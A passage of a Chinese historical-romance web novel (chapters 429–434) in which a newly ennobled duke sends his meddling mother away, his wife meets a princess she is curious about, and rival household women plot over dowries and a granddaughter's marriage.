裴明镜看着她面前厚厚一沓的账簿,沉声道:“辛苦了。”
“不辛苦,在其位谋其政嘛。”祝红玉合上了账簿,让心腹丫鬟把这些账册都收起来。
夫妻二人这么对坐着,祝红玉莫名感觉有几分尴尬。
最后还是裴明镜打破了沉默。
“今日母亲可有为难你?”
“没有。”祝红玉摇了摇头。
她思考了片刻,还是没把婆婆攀扯令嘉郡主的事情说出来。
都是过去的事情了,世子上回信里都已经说得很清楚,说他已经放下了。
她又何必反复去提,让他想起来呢。
*
袭爵的旨意很快就下来了。
裴明镜正式袭爵,成为新一任卫国公。
这道旨意如同最后一根稻草,压得窦淑容心头惶惶不安。
她清楚地知道,自此之后,府中中馈、诰命冠服,乃至外界交际,卫国公夫人的名号都只属于祝红玉一个人。
而她,将彻底沦为需要看儿子儿媳脸色过活的太夫人。
就在她坐立难安,琢磨着该如何在新形势下巩固自己那点摇摇欲坠的权威时,裴明镜来了。
第429章 把母亲送走
“明镜,你怎么来了?”窦淑容看到儿子,挤出一抹勉强的笑。
裴明镜神色如常,甚至比往日更缓和几分,开口道:“我瞧着母亲近日心绪不宁,不如我陪您一块去玄空寺上一炷香吧,顺便让您老人家散散心。”
窦淑容一听,心中顿时一喜,儿子这是要主动向她示好服软了?
是了。
他如今是卫国公,恐怕冷落了她这个母亲于心不安,或是那祝红玉太年轻压不住场面,需要她这个婆婆坐镇,所以才来讨好她?
窦淑容想到这,立刻端出一副勉强接受的模样,叹了口气:“难为你还想着我。罢了,那咱们就一块去散散心吧。”
一路上,窦淑容甚至摆着母亲的架子,絮絮叨叨地和裴明镜说着些为人子、为人夫的道理,暗示他不该有了媳妇忘了娘。
裴明镜只是静静听着,偶尔淡淡应一声,并未反驳。
到了玄空寺,裴明镜陪着她虔诚地上香叩拜,一切如常。
窦淑容有几分飘飘得意。
看来儿子心情不错,那等会儿回城的时候,她和他说一说,祝红玉太年轻,没有经验,不如继续让她来执掌中馈,想必他也会同意的。
然而,当拜完佛走出山门准备登上马车回城时,窦淑容愣住了。
他们原本的车马旁,不知道何时多了一长串的马车。
车上堆满了箱笼行李,旁边还站着许多陌生的仆役和护卫,那阵仗根本不像是来上香的,倒像是……
要远行?
窦淑容心头猛地一跳。
她看向身旁神色平静的儿子,声音都有些发颤:“明镜,这、这是怎么回事?”
裴明镜转身,面对着她,目光平静无波,语气却不容置疑:“母亲忘了?我说过会送您回老家祖宅荣养。这些是给您准备的行李和随行伺候的人。”
轰——!
这番话如同晴天霹雳,狠狠劈在窦淑容头顶。
她瞬间瞪大了眼睛,脸上血色尽褪,嘴唇哆嗦着,几乎不敢相信自己的耳朵。
原来他今日陪自己上香,根本不是什么服软示好,而是早有预谋的驱逐。
他竟如此绝情?如此迫不及待?
“不,我不回去!”窦淑容猛地后退一步,尖声大叫。
“我是你母亲!你怎能如此对我?你这是忤逆不孝!我要去告御状!让全天下的人都看看你是如何对待生母的!”
她想要跑回寺里,却被裴明镜带来的心腹护卫拦住了。
“得罪了,太夫人。”
窦淑容被护卫牢牢架住,动弹不得。
她眼里满是不可置信和愤恨,她声嘶力竭的怒吼道:“裴明镜,你是我十月怀胎生下来的。你竟然这样对我?”
裴明镜看着她歇斯底里的模样,眼神多了一抹复杂,幼年时的母亲形象渐渐与如今的母亲重叠在一起。
他定定地看着母亲,没有说话。
见硬的不行,窦淑容又想来软的:“明镜,如今我不是也没有刁难你的媳妇么。我都退到了这一步,你为何非要把我送走不可?”
他的声音不高,但却十分果决:“母亲,如果您不想最后一点颜面都荡然无存,那便安心上路吧。老家祖宅一应俱全,下人也会尽心伺候,您依旧是尊贵的太夫人,无人敢怠慢。只是这京城……”
他顿了顿,继续道:“您不必再回了。”
窦淑容没想到裴明镜竟然软硬不吃。
看来,他这一回真是下定了决心要把她这个母亲给送走了。
窦淑容崩溃了,她大怒道:“裴明镜,你这个没良心的东西,你以为把我送走就行了吗。我告诉你,祝红玉已经知道你心仪的是……”
“住口!”裴明镜厉喝一声,怕她说出棠云婋的名字,当即暗示护卫将她的嘴捂住。
窦淑容“唔唔唔唔”地想要说话,但却说不出来。
裴明镜不再看她,对领队的管家微微颔首:“走吧。”
管家会意,上前恭敬却不容抗拒地对窦淑容道:“太夫人,车驾已备好,请您上路吧。”
窦淑容被半请半扶地塞进了中间那辆最大最舒适的马车里。
她绝望地拍打着车窗,但一切都无济于事。
车队缓缓朝着与京城相反的方向驶去,逐渐消失在官道的尽头。
他没想到,母亲竟然把棠云婋的事情也告诉了夫人。
那夫人为何不问?
夫人的性子直率坦诚,她若知晓了此事,应该会来问他吧?
还是说母亲不满被他送走,故意骗他的?
断过上百起案子的裴明镜,看着离去的车队产生了茫然的情绪。
他带着满腹疑惑回了国公府。
他想要见一见祝红玉,问问这个事情,但他又不知道如何开口。
想了想,还是决定用他最擅长的方式——写信。
他去了书房,将自己的疑惑和纠结坦白了下来。
但他怎么写都感觉不满意,最后还是将那些作废的信件都收回了抽屉里,决定见到祝红玉再说。
他找来正院里的下人询问:“夫人呢?”
“回国公爷,夫人领着惊蛰姐姐她们出门了,说是去流光阁看看新上的料子。”下人老老实实回应。
流光阁!
听到这,裴明镜猛地站了起来。
夫人为何会去流光阁,难不成听了母亲的挑唆,去找郡主了?
第430章 “情敌”见面了
流光阁。
祝红玉带着惊蛰入了店。
她一进去,一位笑容和善的中年妇人便迎了上来。
“夫人想看些什么?”胡娘子主动招呼起了她。
“咱们这除了流光缎,还有一些岭南、蜀中特有的香料和药材,您若想看首饰,咱们这也有,虽然不多,但胜在精巧,造型别具一格。”
“看些香料吧。”祝红玉心不在焉地随口一答,眼睛四处张望。
她知道流光阁是令嘉郡主开的,所以今日闲来无事,想碰碰运气,看看能不能遇上那位传说中的令嘉郡主。
之前因为嫁不出去,她不怎么喜欢出门,就怕被人议论,让爹娘伤心。
所以即便令嘉郡主这么出名,她也没有见过她真人到底长什么模样。
那些事情都是听母亲和丫鬟们说起的。
如今得知裴明镜曾经的心上人也是她,她便彻底按捺不住了,想看看那样的奇女子究竟生得什么模样。
“夫人好眼光,咱们这啊,除了流光缎,就属这些香料最受欢迎……”胡娘子笑着将她领到了香料区。
祝红玉本意并非来买东西,但为了待久一点,偶遇棠云婋,她便磨磨蹭蹭地让她把香料都介绍了一遍。
胡娘子脸上堆着笑,心里头却直打鼓。
这位夫人光是看不说买,问得还格外仔细,她嘴皮子都快磨薄了。
她如今只觉得嗓子眼发干,肚子里那点词儿翻来覆去都快掏空了。
这位夫人究竟要买什么呀?
光问不买,可真是位难伺候的菩萨。
祝红玉等了约莫半个时辰都没看到棠云婋,她叹了一口气,指着面前最贵的岭南沉水香道:“我就要这个吧。”
先前流光阁的人说了,此物虽然貌不惊人,但削下一点点用银叶隔火慢煨,那香气便会一层一层散开,能安神,最适合放在书房里了。
买下来送给夫君正正好。
但让人家介绍了那么久,只买这一点东西,似乎又不太合适。
祝红玉想了想,便又要了几个不同的香丸和香膏,打算回头给裴二夫人母女还有娘亲都送一份。
见她不仅买了店里最贵的香丸之一,还又多带了好几份别的东西,胡娘子只觉得先前的话都没白费。
她心底的疲惫一扫而空,脸上重新洋溢起了热烈的笑容:“好,我这就给您包起来。”
祝红玉命人付完账,正欲离开,内堂珠帘轻响,一个人影挪了出来。
她的目光瞬间被吸引过去。
只见那姑娘约莫十五六岁的模样,身量高挑,穿着一身利落的豆绿色骑装,未施粉黛,却眉目如画,肌肤胜雪。
她步伐轻盈,落地却极稳,一看就是常年习武。
祝红玉敏锐地察觉到她一出现,店内原本各司其职的掌柜、伙计,甚至包括正在接待她的这位妇人,神色都瞬间变得恭敬谨慎。
电光石火间,面前的人是谁,祝红玉心中立刻便有了答案。
在这流光阁内,能有如此气场、如此容貌、且明显身怀武艺的年轻女子,除了那位名满京城的令嘉郡主,还能有谁?
她果然和她想象中一样好看。
祝红玉盯着棠云婋心下忍不住暗暗感慨,一时间竟看得有些出神。
棠云婋察觉到有人盯着自己,扭头看去,恰好与祝红玉四目相对。
祝红玉没想到偷看被抓了个正着,有些尴尬。
棠云婋没认出她是谁,毕竟祝红玉鲜少在外露面,裴明镜大婚时她也没参加,所以一时间不知道来的是谁。
见她目露疑惑,一旁的掌柜忙道:“郡主,那位是卫国公夫人。”
棠云婋恍然大悟。
原来那就是祝红玉呀。
她冲她友好地笑了笑。
祝红玉有些惊讶,她扯了扯身旁的惊蛰小声询问:“她是不是在冲我笑?”
惊蛰有些不解,小声道:“应该……是吧?”
“肯定是了!”祝红玉点点头。
于是她上前几步,走到了棠云婋面前,正欲行礼:“见过郡主。”
“诶,卫国公夫人不必这般拘礼。”棠云婋赶忙阻止她,顺势自然地拉了她一把,声音压低了些。
“我嫌前头人多眼杂,一个个都要上来行礼问安,麻烦得紧,所以特意换了这身衣裳图个清静。你这么一行礼,待会我可又要被围住了。”
她说着还冲祝红玉眨了眨眼,神态轻松,全然没有郡主的架子,倒像是怕被熟人撞见的好友。
祝红玉先是一愣,随即立刻明白了她的意思,从善如流地直起身,也学着她放低了声音,眼角弯起:“原来如此,是我不小心,差点坏了郡主的计划。”
“无妨,小事。”棠云婋笑着摇了摇头,她示意祝红玉跟她到了一旁安静的地方,小声道询问,“夫人寻我可是有事?”
祝红玉没想到她会问这个,一时间有些卡壳,不知道该怎么回答。
难道要实话实说……
听说我夫君当初心悦于你,心下好奇,特来看看你是何等风采?
这念头一闪过就被她摁死了。
荒唐!
这种话岂能宣之于口?
那难不成说我久闻郡主您的那些光辉事迹,心中钦佩,想结交一番?
似乎好一点,但也显得太过唐突冒昧。
她们二人过往没有任何交集,她突然这么说,恐怕会被当成别有用心的谄媚之人。
就在祝红玉纠结之际,裴明镜来了。
他一来,看到的就是祝红玉一脸纠结地看着棠云婋的模样,心下顿时一紧。
“夫人。”
他一句夫人,叫得祝红玉回了神。
“夫君,你怎么来了?”祝红玉有些惊讶地看着他。
心底莫名有些心虚,脚下意识地往他身边挪动了几步。
“见过郡主。”裴明镜浅浅地冲棠云婋行了一礼。
“卫国公不必多礼。”棠云婋颔首回礼。
“家中还有急事,臣与夫人就先走了。告辞。”裴明镜一把抓住了祝红玉的手,将她带走了。
看着两人一块离开的背影,棠云婋笑了起来。
“郡主,您笑什么?”一旁的双鲤好奇地询问。
第431章 问题难回答
“我笑缘分可真是个奇妙的东西啊。”棠云婋忍不住感慨。
当初她还想过和祝红玉商量,让她嫁到定远侯府去呢。
不过如今看来,倒是天意正好。
骆表姑得偿所愿,成了没有公婆要伺候的寡妇,过上了她理想的生活。
而祝红玉也觅得裴明镜这样的如意郎君,二人站在一处,还真是十分登对。
“确实挺奇妙的。”双鲤赞同地点了点头。
“裴大人最后竟然还能娶上媳妇。我还以为有老卫国公夫人在,他这辈子都娶不上媳妇了。”
“你这小促狭鬼。”棠云婋被她的话逗笑了。
“走吧,咱们去一趟烈国公府。等会儿接上阿娘,一块回摘星山庄。”
今日入城,她来流光阁查账,阿娘便先去了烈国公府探望义父义母。
如今她这边查完了账,自然也该去烈国公府了。
*
裴明镜一把将祝红玉拉上马车。
祝红玉心里泛起了嘀咕:他不是最讲究规矩体统的吗?怎么光天化日就牵她的手?
直到两人坐下,裴明镜松开她的手,她这才回过神来,赶忙道:“夫君,家中究竟出什么事了?”
“没事。”裴明镜顿了顿,一时间不知道该怎么问她,于是只得开口道,“母亲已经送走了。”
“哦,送走就好。”祝红玉说完,恨不得扇自己一巴掌。
说的什么话。
虽然心底很高兴,但那毕竟是婆婆,夫君的亲娘,表现得这么明显好像也不太好吧?
她赶忙找补:“就是不知道路上安排照顾她的人够不够,此番路远,母亲上了年纪,万一生病可就麻烦了。”
裴明镜淡淡回应:“不必担心,我已经将一切安排妥当。”
祝红玉点点头:“也是,夫君办事向来周到妥当。”
说完之后,马车里又陷入了一片沉默。
祝红玉已经习惯了,夫君不是话多的人,所以没觉得有什么不自在。
但裴明镜的眼前却一直反复地浮现着先前棠云婋和夫人见面的那一幕。
最终他还是没忍住问了出来:“你今日来流光阁找郡主,所为何事?”
“我,谁说我是来找她的……”祝红玉下意识地否认。
她怕裴明镜打破砂锅问到底,赶忙转移话题:“我特意来买了些香丸和香膏,给你还有二婶还有阿芜当做礼物。”
裴明镜看出她在逃避,心下一沉,点了点头没有继续追问:“夫人有心了。”
马车里的气氛再一次陷入了沉默。
这一回,轮到祝红玉意识到了不对劲。
她看向裴明镜,一字一句道:“你怎么会觉得我是特意来找她的?”
这下顿住的人变成裴明镜了。
他垂下眼眸,淡淡道:“母亲今日被送走前,同我说了一些话。”
祝红玉不傻,略微一联想,就明白了窦淑容会说什么。
“你已经知道母亲把你曾经爱慕郡主一事告知我了?”
“嗯。”裴明镜迟疑片刻,但还是点了点头。
“所以你急匆匆找来,把我拉上马车跟我说家里有事,都是骗人的?你是担心我听了母亲的话来找郡主麻烦?”祝红玉心底顿时有些失望。
她眼圈有点发红,忍不住觉得委屈:“裴明镜,在你眼里,我就是那么不分青红皂白、善妒撒泼的人?”
她越说越气,几乎要站起来,奈何马车空间有限,只能攥紧了拳头。
“是,我承认,最开始知道的时候是心里有点不是滋味,可我祝红玉行事,向来光明磊落。我去流光阁,我只是……”
“我只是好奇,想看看她是个什么样的女子。我甚至都没跟她多说几句话!你倒好,先想着我会去惹是生非?”
裴明镜看着她微红的眼眶,心里像是被什么刺了一下。
他习惯了她平日总是带笑的模样,她此刻的委屈和愤怒让他顿时有些手足无措。
他想要张口解释却不知道该如何开口,只得伸手将她的手握住。
祝红玉想要抽回来,不曾想,竟然没抽动。
裴明镜力气这么大?
她扭头一看,正好和裴明镜的目光对上。
对上她的眼睛,裴明镜当即开口:“我没有那么想。”
他的语气变得有些着急,打破了他一贯的平稳克制、
“我从未觉得你善妒撒泼。正因知道你性子直率热烈,我才更担心。”
祝红玉哼了一声,没有再想着强硬把手抽回来。
裴明镜深吸一口气,继续解释道:“母亲离去前,刻意将旧事重提,言语间多有挑拨之意。我是怕你听了那些话,心里难受,被人误导,做出什么日后会让自己后悔的事。”
“所以你不是怀疑我,而是担心我?”祝红玉抓住了重点。
裴明镜点了点头,坦荡地承认了。
他担忧他的夫人,难道不是很正常的事情吗?
见他点头,祝红玉心底的怒火和委屈消散了几分。
裴明镜也察觉到了她情绪上的变化,继续道:“我方才情急拉你上车,是见你与郡主站在一起,以为母亲的话让你心生芥蒂,怕你们起了冲突,于你名声不利。”
顿了顿,他又道:“是我思虑不周,方式欠妥,让你误会了。”
车厢里安静下来,只听见车轮碾过路面的轱辘声。
祝红玉紧绷的脊背慢慢软了下来。
她不是不讲道理的人,裴明镜这番话,确实戳中了她刚才没细想的部分。
“好吧,看在你担心我的份上,我就不和你计较了。”祝红玉小声地嘟囔了起来。
裴明镜脸上终于浮起了淡淡的笑意。
他这位夫人,爱憎分明,心思透亮得很。
想到等了半个时辰,就和棠云婋说了两句话,祝红玉不由有些懊恼:“都怪你,不然我就能和郡主多说几句话了。”
裴明镜:“?”
这也能怪他?
还有,夫人为什么想和郡主多说几句话?
她们很熟吗?
他心里掠过了好几个问题。
他还没把心里话问出来,就见祝红玉一脸好奇地看着他:“你觉得我性子直率热烈,那你觉得郡主是什么样的人?”
裴明镜:“……”
他总感觉这个问题要是回答不好,今夜他恐怕就要去宿在书房了。
第432章 有三份嫁妆
裴明镜看着她的眼睛,认真道:“她是什么样的人,早已与我无关。”
“我只知道如今与我同乘一车,回同一个家的人,是你,我的夫人祝红玉。”
祝红玉心头那点残存的酸涩,因为他这句话,忽然的一下就散了大半。
她低下头,嘴角却忍不住悄悄弯起了一点弧度。
*
烈国公府。
棠云婋还没进到正厅,就听到了里边传来的一阵阵笑声。
她走进去一看,发现除了阿娘和义母,骆表姑也在。
她还把晏明珠和晏平安两个孩子带过来了。
“见过郡主。”骆文缨笑着起身冲她行礼。
棠云婋赶忙道:“表姑你这是做什么,都是自家人,不必多礼。”
骆文缨这才笑着捏了捏她的脸:“你这孩子,回京那么久,竟然只来了一回定远侯府探望我。”
“哎呀,我这不是太多事情了嘛。表姑你有的是人陪你打马吊,我少去一点也没关系的吧。”棠云婋嘿嘿一笑。
一旁蹲在旁边看两个孩子的尉迟敦赶忙冲棠云婋招手:“妹妹,你快来,你看这个哥哥好笨哦,妹妹都已经会翻身了,他还不会。”
说完,他顿时露出了忧愁的表情。
“我小时候不会也这么笨吧。”
这话顿时引得在场的大人哈哈哈哈地都笑了起来。
“没有,咱们敦儿小时候聪明着呢。”烈国公夫人走到了尉迟敦身边,摸了摸他的脑袋。
“也是,我聪明,所以才能保护妹妹!”尉迟敦骄傲地抬起了头。
一句话惹得烈国公夫人眼眶有些发红。
若是晞儿还在就好了……
骆文缨看出了表嫂心情变得低落,赶忙笑着转移了话题。
“孩子真是见风就长,一天一个样。我跟你们说啊,刚出生的时候才那么大一丁点,结果现在白白胖胖的,跟小猪仔似的。你们看,多有意思啊。”
棠云婋也跟着打趣:“表姑,他们现在可是记在你的名下,他们若是小猪仔,你是什么?”
“你这孩子,胡说什么呢。”方青鸾瞥了女儿一眼。
骆文缨故作生气地瞪了棠云婋一眼:“就是,竟然还打趣到我头上来了。哼。那我就把你的嫁妆扣掉一半,全都留给明珠。”
“我的嫁妆?”棠云婋一脸茫然。
她的嫁妆和骆表姑有什么关系。
听着她们打趣的话,烈国公夫人也忍不住笑了起来。
“文缨今日来,正是和我商议此事的。”
“你曾是定远侯府嫡女,你的嫁妆,她也给你备了一份。”
棠云婋愣在了原地。
她曾是定远侯府的嫡女不假,但那都是过去的事了。
自从真正的身世揭开,她与定远侯府的那层名义上的关系便已了断。
她怎么也没想到,骆文缨竟还会为她考虑到这一步。
骆文缨被她这直愣愣的反应逗笑了:“怎么?不行啊?你虽不在侯府名册上了,但在我这儿,你喊我一声表姑,就永远都是自家孩子。”
她说着,故意板起脸:“还是说,你现在身份尊贵了,看不上表姑这点心意了?”
“不!不是的!”棠云婋急忙否认,心头像是被一股汹涌的热流猛地撞击了一下,又酸又胀,让她一时之间竟有些无措。
她看向烈国公夫人,又看回骆文缨,眼圈不受控制地微微泛红。
她已经不是定远侯府大小姐晏逐星,可在烈国公夫人和骆表姑眼中,她依旧是“自家孩子”。
千言万语,最终只化作一句带着细微鼻音的喃喃自语:“表姑,您这让我怎么……”
骆文缨见她这般模样,心里也软得一塌糊涂,面上却仍装着洒脱,挥了挥手打断道:“哎哟,这有什么。给你你就收着,姑娘家嫁人,没份厚厚的嫁妆怎么行?总不能让人小瞧了去。”
她说着,意味深长地看了棠云婋一眼。
“若不是你,我可过不上如今这样好日子。那点嫁妆啊,不值钱,你就拿着吧。”
她这辈子都不会有自己的亲生孩子,她那些陪嫁无外乎都要留给明珠和平安两个孩子。
但棠云婋满足了她守寡且不用伺候公婆的心愿,她自然要给她出一份嫁妆。
毕竟她要嫁的可是帝后最疼爱的永安王。
嫁妆若是太轻了,难免会被人看不起。
她可不愿让棠云婋受委屈。
钱财身外物,生不带来死不带去,活着的人能用上才是最好的。
在场只有棠云婋听懂了她的言外之意。
她有些哭笑不得。
烈国公夫人也跟着点头附和:“你呀,就放心收下吧。我和你表姑凑一凑,总会给你凑出一份不输公主体面的嫁妆。”
方青鸾原本以为只是寻常的添妆,听到这“不输公主体面的嫁妆”,方才意识到这份嫁妆有多贵重。
“这怎么使得。”她顿时急了。
“好了,阿鸾,你若把我当亲嫂子,就听我的。不许拒绝。”烈国公夫人不由分说地按住了她的肩膀。
“你若拒绝,那就是不把我当自己人。”
“就是就是,一家人不说两家话。”骆文缨也跟着附和。
方青鸾一时间不知道该说什么才好。
若非烈国公夫人和定远侯夫人帮衬,婋婋的嫁妆,单凭她与夫君,半年内确实凑不出多少好东西来。
婋婋嫁的又不是普通人家,嫁妆少了肯定会被人在背地里说闲话。
她哽咽地点了点头:“嫂子,表妹,你们这样我真的不知道该怎么回报你了。”
“我们做这些呀,也不是为了要你的回报。我们就是喜欢这孩子,希望她以后能过得好一些。”烈国公夫人温柔的目光落在了棠云婋身上。
若她的晞儿还在,如今也要谈婚论嫁了。
“就是就是。婋婋过得好,比什么都重要。”骆文缨再一次附和表嫂的话。
棠云婋冲她们郑重地行了一礼:“多谢干娘,多谢表姑。”
方青鸾也跟着行了一个大礼。
随后她下定了决心,看向烈国公夫人:“嫂子,你若不嫌弃,我可以在此发誓,此后不管敦儿几岁,我棠家子孙都会视敦儿如至亲手足。”
“只要我棠家血脉尚存一息,便绝不会让他受人欺凌、无依无靠!”
烈国公夫人彻底怔住了。
她方才玩笑说着“不输公主体面的嫁妆”,心里却从未想过要以此换取什么。
她帮棠云婋,一是真心喜爱这孩子,二也是移情,将对女儿的思念和亏欠,寄托在了棠云婋身上。
可她万万没想到,方青鸾竟然会做出这样的承诺。
第433章 把她嫁出去
一旁的棠云婋见状,也跟着举手发誓:“干娘,您为我思虑周全至此,这份情义,我实在无以为报。”
“我知晓哥哥是您的命根子,我以永安王妃的名义起誓,日后定然护他衣食无忧,保他平安喜乐。”
“此誓,天地可鉴,我若有违逆,必……”
“不许胡说!”烈国公夫人急忙打断她的毒誓,眼泪滚落下来,“傻孩子,干娘信你,都信你!”
棠云婋之前没把这些话说出口,是因为她觉得护着尉迟敦是她该做的。
毕竟烈国公夫妇待她和亲女儿一般没有什么区别,她自然也有知恩图报,护住尉迟敦一辈子。
但先前阿娘说完之后,干娘一副快哭出来的表情,她才意识到有些事不能光是想,还得说出口。
骆文缨在一旁看着,也忍不住擦了擦眼角,心里又是感动又是酸楚。
她忙笑着打圆场:“哎呀好了好了,这是天大的好事,怎么都哭上了?”
原本蹲在一旁逗小孩的尉迟敦瞧见这一幕,立刻慌了神,赶忙跑过去替烈国公夫人擦眼泪。
“娘亲,你怎么哭了,谁欺负你了?”
烈国公夫人欣慰地将他按到了自己身边坐下:“娘没哭,娘是高兴。”
有方青鸾和棠云婋这番话,她现在心里安定多了。
她如今最担忧的事情就是他们百年之后,敦儿该怎么办。
虽然尉迟一族还有许多人,他们可以过继一个孩子养在敦儿的名下给他当儿子,继承香火。
可人家的亲生爹娘还在,日后他们走了,过继孩子的爹娘若是找上门来挑拨离间一番,敦儿哪里会有好日子过。
但若有婋婋这个永安王妃时常来照看着,那就不一样了。
那些人多半就不敢有什么歪心思了。
婋婋成了王妃,不差他们烈国公府这些东西,也不会亏待了敦儿。
棠家人心思清明,为人正派,又爱孩子,有他们照看着,敦儿日后定然不会受欺负。
她呀,从此以后可以安心了。
*
太傅府。
蒋氏找到了婆婆陆老夫人。
“母亲,玥君也到了该相看的年纪,若是迟迟被禁足,是不是不太好呀?”她讨好地替婆婆捏肩,语气十分恭敬。
陆老夫人半阖着眼,享受着儿媳的捏肩,闻言鼻腔里轻轻“嗯”了一声,听不出喜怒。
蒋氏手下力道放得更柔,声音也压得更低,带着恰到好处的担忧:“可是议亲这种事,向来讲究个长幼有序。如今珮君还没出嫁,儿媳也不好越过她给玥君定下亲事呀。”
陆老夫人缓缓睁开眼,语气平淡:“二丫头的婚事,自有她爹娘和她祖父做主。”
蒋氏立刻接口,语气更加恭顺:“是,儿媳明白。只是大哥大嫂那性子,您也是知晓的。有些事,他们终究不如母亲您想得周全。珮君的婚事,恐怕还得您这个当祖母的替她掌掌眼。”
陆老夫人侧过头,瞥了蒋氏一眼。
她浸淫后宅多年,岂会听不懂蒋氏的弦外之音。
蒋氏哪里是想给女儿寻姻缘,不过是想借着嫁人这事将陆珮君给赶出府去。
毕竟大房夫妇都不中用的,将陆珮君赶走,掌家权才能全部重新回到蒋氏手中。
“哦?”陆老夫人不动声色地询问,“这么说来,你心中已有成算?”
蒋氏见婆婆似乎意动,心中暗喜,面上却愈发谨慎。
“媳妇不敢擅自做主,只是想着,这京中青年才俊虽多,但各家情况迥异。”
“譬如那安国公家的嫡次子,家世自是顶顶好的,只是听闻性子倨傲了些,怕是受不得妻子半分强。又比如吏部侍郎家的嫡幼子,人才出众,可惜房里的莺莺燕燕多了些……”
“珮君性子柔顺,媳妇怕她嫁去那样的人家受委屈。倒不如咱们给她寻一门家世稍次、但人口简单、姑爷上进知礼的。有太傅府在后面撑腰,珮君过去便能当家做主,岂不是更好一些?”
她这番话,明面上是为陆珮君百般考量,实则句句都在将高门显贵排除在外。
她的目的很明显,就是想让陆珮君和陆璧君一样,嫁给一个寒门学子,永远别想在婚事上越过她的女儿去。
陆老夫人沉吟片刻,并未立刻表态,只是淡淡道:“玥君禁足是你父亲亲自下的令,我不好直接驳了。”
蒋氏的心顿时悬了起来。
婆婆也不喜欢陆珮君那死丫头,应该不会帮她说话吧?
陆老夫人顿了顿,继续道:“不过你说的也不无道理。珮君这丫头已经及笄,是该相看起来,给她找个好人家了。”
“母亲英明。”蒋氏脸上勾起一抹得意的笑。
陆珮君啊陆珮君,纵使你有郡主撑腰又如何。
难不成她还能把手伸到太傅府里来么。
蒋氏想着只要陆珮君嫁了人,区区袁氏不足为惧。
翌日,陆珮君和袁氏便被叫到了陆老夫人的松鹤堂。
陆老夫人端坐上位,蒋氏则侍立在一旁,脸上带着恰到好处的关切笑容。
陆老夫人慢条斯理地开了口:“二丫头及笄也有大半年了,你这母亲迟迟没有给她订下婚事。那我这做祖母的,就不能不站出来操心她的终身大事了。”
袁氏心中一惊,下意识地看了一眼旁边的女儿一眼。
婆母这是要用女儿的婚事来拿捏她呀,这可如何是好?
陆珮君给了她一个眼神,示意她别怕,这事她们私底下不是早就讨论过了么。
袁氏定了定心神,深吸一口气,按照当时女儿教过的话回答:“回母亲的话,珮君的婚事,媳妇日日都在思量。只是……”
“只是这孩子是媳妇的心头肉,总觉得怎么看都还小,一想到她要出嫁,心里就割舍不下。求、求母亲体谅,容媳妇再多留她一年半载吧。”
陆老夫人和蒋氏都有些惊讶。
这个八杆子打不出一个屁的袁氏今日竟然敢开口反驳了。
还反驳得句句在理?
一旁的蒋氏哪里会容陆珮君留下,她势必要让陆珮君嫁出去。
于是她堆起关切的笑容,看向袁氏:“大嫂真是把二丫头当眼珠子疼呢。可您再舍不得,也得为孩子的将来想想不是?”
“这女儿家的亲事啊,就像那园子里的鲜花,得赶着最好的时候摘。若是花期过了,再好的宝贝疙瘩,也得被人说成是没人要的老姑娘,那才真是耽误了她呢!”
陆老夫人颔首,顺着这话说了下去:“正是这个理,可不能耽搁二丫头的终身大事。我心里倒也思量了几个人选,说与你们听听。”
第434章 陆珮君婚事
袁氏心中一紧。
婆母和二弟妹这话里的意思分明就是不容她们母女拒绝。
她感觉嗓子干干的,一时间不知道该说什么。
陆珮君低着头,没吭声。
她早就猜到了二婶会用婚事拿捏她,还可能会说动祖母。
但她父母俱在,哪里轮得到蒋氏来做主,只要爹娘不松口,祖母就算要插手,这婚事也不会轻易定下来。
袁氏见女儿不说话,便也垂眸听陆老夫人继续把这出戏唱下去。
“这头一个,是兵部尚书家的嫡幼子程昀,他们家家世与我们也算相当。那孩子我见过,性子是活泼跳脱了些,爱玩闹,但年轻人嘛,成了家自然就稳重了。”
袁氏听得心底发沉。
那程昀乃是京中有名的纨绔,斗鸡走狗,无所不好,更是醉花楼常客。
珮君嫁过去,那眼泪怕是要从年头掉到年尾。
“这第二个,乃是翰林院庶吉士裘冲,陛下钦点其赴任西北,意在磨炼重用于他。他若在此地做出政绩,将来回京述职,必受重用,前途不可限量。年纪比珮君稍长,但会疼人。”
陆老夫人意味深长地看了袁氏一眼。
“珮君若是嫁给他,虽说这几年跟着外放是要辛苦些,但熬过去,等裘冲立下大功回京,珮君可就是诰命夫人了。”
袁氏忍不住皱起了眉。
西北苦寒,珮君跟着嫁去那么远,那得多艰难啊。
但她不敢直说,只得委婉开口:“母亲,这个年纪稍长,是长多少呀?”
陆老夫人淡淡道:“裘冲今年三十……”
袁氏一听这年纪,心里便是一咯噔,脱口而出:“三十?这未免也太长了些。珮君她才十六。而且,一个男子怎么会三十还没成婚呢?”
陆老夫人不紧不慢道:“这孩子有志气,说要考上进士了才成婚。好不容易考上了,结果父亲去世,他只得回乡丁忧去了。这才耽误到了现在。”
她瞥了袁氏一眼:“你若是不满意,还有一个。”
她这话说得合情合理,袁氏不敢再多说什么,垂头等着她继续说下去。
“这第三个呢,是国子监樊祭酒的嫡长孙樊长锦,今年年初刚及冠。”
“樊家是书香门第,清流中的清流,那孩子学问极好,明年必中进士。珮君若嫁过去,便是清贵人家的长孙媳,最是体面安稳。”
袁氏一怔,这么一对比,好像这个樊祭酒的孙子好像还不错。
比程昀上进,又比裘冲年纪小,嫁过去还不用离京?
难不成婆婆并不是要害珮君?
一旁的蒋氏笑而不语。
按她所想,可不能让陆珮君嫁去这样好的人家,但婆婆毕竟要顾及太傅府的名声,所以挑的都是名声上过得去的人家。
这樊家听着倒是不错。
清流门第?
不过是说得好听罢了,就是穷酸!
陆珮君不是能耐,想从她手里分权吗?
好啊,她就等着看她嫁过去后是怎么拿自己的嫁妆,一分一厘地填那樊家的无底洞。
到时候,光是算计柴米油盐、应付人情往来就够她喝一壶的,看她还有没有那份闲心,再回太傅府给她找事。
就让她去那清贫窝里,好好施展她的“管家才干”吧。
陆老夫人说完轻轻放下茶盏,看向袁氏:“这几家都是极好的。无论门第还是儿郎前程,都配得上二丫头。我瞧着比那些空有爵位、内里却勾心斗角的勋贵人家强得多。你觉着呢?”
袁氏一时间不知道该怎么反驳,讷讷地张了张嘴,说不出一句话来。
陆珮君盈盈一笑开口了:“多谢祖母替孙女考虑得这般周全,三位公子听着,是一位比一位出色。”
她这话一出,厅内三人都看向了她。
袁氏是担忧,蒋氏是警惕,陆老夫人则眯了眯眼,等着她的下文。
陆珮君不疾不徐地继续说下去:“只是终身大事毕竟不是小事,此事还得爹娘商议后才能定下。祖母能否让我爹娘好好想想,回头也请祖父掌掌眼。”
“这是自然。”陆老夫人点了点头。
